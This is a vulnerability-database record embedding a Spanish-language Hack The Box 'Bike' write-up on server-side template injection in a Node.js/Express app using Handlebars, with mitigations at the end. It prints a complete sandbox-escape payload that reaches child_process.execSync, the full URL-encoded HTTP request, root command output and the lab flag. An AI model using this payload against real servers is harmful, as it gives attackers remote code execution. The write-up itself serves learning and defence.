{"uuid": "293b002a-0460-4167-9f21-159246cf95d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-q42p-pg8m-cqh6", "type": "seen", "source": "https://gist.github.com/TechnoHacks181/f65a689f72c3b2c1a6388201b5cc6ab3", "content": "# HTB Bike \u2014 Writeup\n## Server-Side Template Injection (SSTI) \u2192 RCE en Node.js + Handlebars\n\n---\n\n## 1. Stack Tecnol\u00f3gico\n\n| Componente | Valor |\n|---|---|\n| Runtime | Node.js |\n| Framework | Express.js |\n| Template Engine | Handlebars (`hbs`) |\n\n&gt; Express por s\u00ed solo no tiene capacidades de templating \u2014 requiere un engine externo configurado por el desarrollador. La pregunta clave durante el reconocimiento no es *\"qu\u00e9 usa Node.js\"* sino *\"qu\u00e9 engine espec\u00edfico eligi\u00f3 el dev\"*. Aqu\u00ed: Handlebars.\n\n---\n\n## 2. Identificaci\u00f3n de la Vulnerabilidad\n\n### Probe inicial\n\nSe inyecta `{{7*7}}` en el campo `email` del formulario. El servidor responde con stack trace completo:\n\n```\nError: Parse error on line 1:\n{{7*7}}\n--^\nExpecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'\n    at Parser.parseError (.../handlebars/compiler/parser.js:268:19)\n    at Parser.parse (.../handlebars/compiler/parser.js:337:30)\n    at HandlebarsEnvironment.parse (.../handlebars/compiler/base.js:46:43)\n    at compileInput (.../handlebars/compiler/compiler.js:515:19)\n    at ret (.../handlebars/compiler/compiler.js:524:18)\n    at router.post (/root/Backend/routes/handlers.js:15:18)\n```\n\n### \u00bfPor qu\u00e9 `{{7*7}}` falla?\n\nHandlebars **no es un evaluador de expresiones aritm\u00e9ticas**. A diferencia de Jinja2 o Twig donde `{{7*7}}` produce `49`, en Handlebars el operador `*` es un token inv\u00e1lido \u2014 el parser explota antes de ejecutar nada.\n\n### Informaci\u00f3n extra\u00edda del stack trace\n\n| Campo | Valor | Significado |\n|---|---|---|\n| Engine | `handlebars` | Confirmado por el path del m\u00f3dulo |\n| Root path | `/root/Backend/` | Path absoluto del servidor |\n| Archivo vulnerable | `routes/handlers.js:15` | El input se pasa directamente al compilador |\n| Usuario del proceso | `root` | Confirmado despu\u00e9s v\u00eda RCE |\n\n&gt; El leak de stack trace es en s\u00ed mismo una misconfiguration grave. En producci\u00f3n los errores deben ser gen\u00e9ricos. Aqu\u00ed nos regala el stack completo.\n\n---\n\n## 3. An\u00e1lisis del Motor de Templates\n\n### Sintaxis v\u00e1lida vs otros engines\n\n| Engine | Sintaxis | Evaluaci\u00f3n aritm\u00e9tica |\n|---|---|---|\n| Jinja2 | `{{ 7*7 }}` | \u2705 S\u00ed |\n| Twig | `{{ 7*7 }}` | \u2705 S\u00ed |\n| Handlebars | `{{ variable }}` | \u274c No |\n| EJS | `&lt;%= variable %&gt;` | \u2705 S\u00ed |\n| Pug | `#{variable}` | \u274c No |\n\n### \u00bfPor qu\u00e9 Handlebars es vulnerable a SSTI?\n\nLa vulnerabilidad existe cuando el input del usuario se pasa directamente al compilador sin sanitizaci\u00f3n:\n\n```javascript\n// routes/handlers.js ~l\u00ednea 15 \u2014 c\u00f3digo vulnerable\napp.post('/', (req, res) =&gt; {\n    const email = req.body.email;\n    const template = handlebars.compile(email); // \u2190 INPUT DEL USUARIO COMO TEMPLATE\n    const result = template({});\n    res.render('index', { email: result });\n});\n```\n\n`handlebars.compile()` deber\u00eda recibir un template hardcodeado, nunca input del usuario.\n\n---\n\n## 4. Desarrollo del Payload de RCE\n\n### Intento 1 \u2014 Payload b\u00e1sico (falla)\n\n```\n{{this.push \"return require('child_process').exec('whoami');\"}}\n```\n\n**Error:** `ReferenceError: require is not defined`\n\n**\u00bfPor qu\u00e9 falla?** Handlebars ejecuta el c\u00f3digo generado dentro de un sandbox aislado v\u00eda `new Function(...)`. En ese contexto, `require` no existe \u2014 no est\u00e1 expuesto en el scope del sandbox.\n\n### El sandbox de Handlebars\n\n| Objeto | Disponible en sandbox |\n|---|---|\n| `require` | \u274c No |\n| `process` | \u274c No (directamente) |\n| `global` | \u2705 S\u00ed \u2014 es el objeto top-level de Node.js |\n\n### Soluci\u00f3n \u2014 Acceso v\u00eda `global`\n\nEn Node.js, `global` engloba todo el scope global del runtime. La cadena de acceso:\n\n```\nglobal\n  \u2514\u2500\u2500 process\n        \u2514\u2500\u2500 mainModule\n              \u2514\u2500\u2500 require  \u2190 aqu\u00ed est\u00e1 require\n```\n\n```javascript\nglobal.process.mainModule.require('child_process').execSync('whoami').toString()\n```\n\n### Payload final\n\nEl payload abusa del prototype chain de Handlebars para escapar el sandbox e invocar el `Function` constructor con c\u00f3digo arbitrario:\n\n```handlebars\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return global.process.mainModule.require('child_process').execSync('whoami').toString()\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{/with}}\n        {{/each}}\n      {{/with}}\n    {{/with}}\n  {{/with}}\n{{/with}}\n```\n\n### \u00bfC\u00f3mo funciona?\n\n| Paso | Qu\u00e9 ocurre |\n|---|---|\n| `\"s\"` como string literal | Acceso a `String.prototype` |\n| `string.sub` | Referencia a `String.prototype.sub` |\n| `string.sub.constructor` | Obtiene `Function` \u2014 el constructor nativo de funciones JS |\n| `codelist` | Array usado como argumentos para `Function()` |\n| `this.push \"return global...\"` | Metemos nuestro c\u00f3digo como cuerpo de la funci\u00f3n |\n| `string.sub.apply(0, codelist)` | Invoca `Function(\"return global.process.mainModule.require(...)\")` |\n\nEquivalente directo: `new Function(\"return global.process.mainModule.require('child_process').execSync('whoami').toString()\")()`\n\nLa clave: `String.prototype.sub.constructor === Function`. Al invocarlo con c\u00f3digo arbitrario, creamos y ejecutamos una funci\u00f3n **fuera del contexto restringido del sandbox**.\n\n---\n\n## 5. Explotaci\u00f3n v\u00eda Burp Suite\n\n### Flujo\n\n1. Burp Proxy con **Intercept ON**, enviar el formulario\n2. **Send to Repeater** (`Ctrl+R`)\n3. Pegar el payload en el campo `email`\n4. URL-encode del payload: seleccionar \u2192 clic derecho \u2192 *Convert Selection &gt; URL &gt; URL-encode key characters*\n5. Verificar que `&amp;action=Submit` quede fuera del encode\n6. **Send**\n\n### Request \u2014 `whoami`\n\n```http\nPOST / HTTP/1.1\nHost: 10.129.97.64\nContent-Type: application/x-www-form-urlencoded\n\nemail={{%23with+\"s\"+as+|string|}}{{%23with+\"e\"}}{{%23with+split+as+|conslist|}}{{this.pop}}{{this.push+(lookup+string.sub+\"constructor\")}}{{this.pop}}{{%23with+string.split+as+|codelist|}}{{this.pop}}{{this.push+\"return+global.process.mainModule.require('child_process').execSync('whoami').toString()\"}}{{this.pop}}{{%23each+conslist}}{{%23with+(string.sub.apply+0+codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}&amp;action=Submit\n```\n\n**Respuesta:**\n\n```\nWe will contact you at: e2[object Object]function Function() { [native code] }2[object Object]root\n```\n\nEl `root` al final es el output de `whoami` \u2014 el proceso corre como root.\n\n### Request \u2014 flag\n\nCambiar `whoami` por `cat /root/flag.txt`:\n\n```\n...execSync('cat+/root/flag.txt').toString()...\n```\n\n**Flag:** `6b258d726d287462d60c103d0142a81c`\n\n---\n\n## 6. Kill Chain\n\n```\nInput sin sanitizar\n       \u2193\nhandlebars.compile(userInput)      \u2190 vulnerability point\n       \u2193\nParser procesa el payload malicioso\n       \u2193\nPrototype chain abuse: String.prototype.sub.constructor \u2192 Function\n       \u2193\nnew Function(\"return global.process.mainModule.require(...)\")()\n       \u2193\nBypass del sandbox v\u00eda objeto `global`\n       \u2193\nrequire('child_process').execSync('cat /root/flag.txt')\n       \u2193\nRCE como root \u2192 flag\n```\n\n---\n\n## 7. Mitigaciones\n\n| Vector | Mitigaci\u00f3n |\n|---|---|\n| Input del usuario como template | Nunca pasar input a `handlebars.compile()` \u2014 los templates deben ser est\u00e1ticos |\n| Stack trace leak | Deshabilitar errores verbosos en producci\u00f3n (`NODE_ENV=production`) |\n| Proceso como root | Correr el servidor con usuario sin privilegios (principio de m\u00ednimo privilegio) |\n| Confianza en el sandbox | El sandbox de Handlebars **no es una medida de seguridad confiable** \u2014 no usarlo como \u00fanica defensa |\n\n---\n\n## 8. Referencias\n\n- [HackTricks \u2014 SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)\n- [PortSwigger \u2014 Server-Side Template Injection](https://portswigger.net/web-security/server-side-template-injection)\n- [Handlebars Security \u2014 GitHub Advisory](https://github.com/advisories/GHSA-q42p-pg8m-cqh6)", "creation_timestamp": "2026-06-07T06:15:06.000000Z"}